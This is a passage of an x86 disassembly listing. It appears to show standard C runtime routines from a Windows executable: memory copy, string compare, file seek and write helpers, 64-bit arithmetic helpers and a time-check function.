		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2770661h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2870000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2860000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2670CEEh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2670859h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
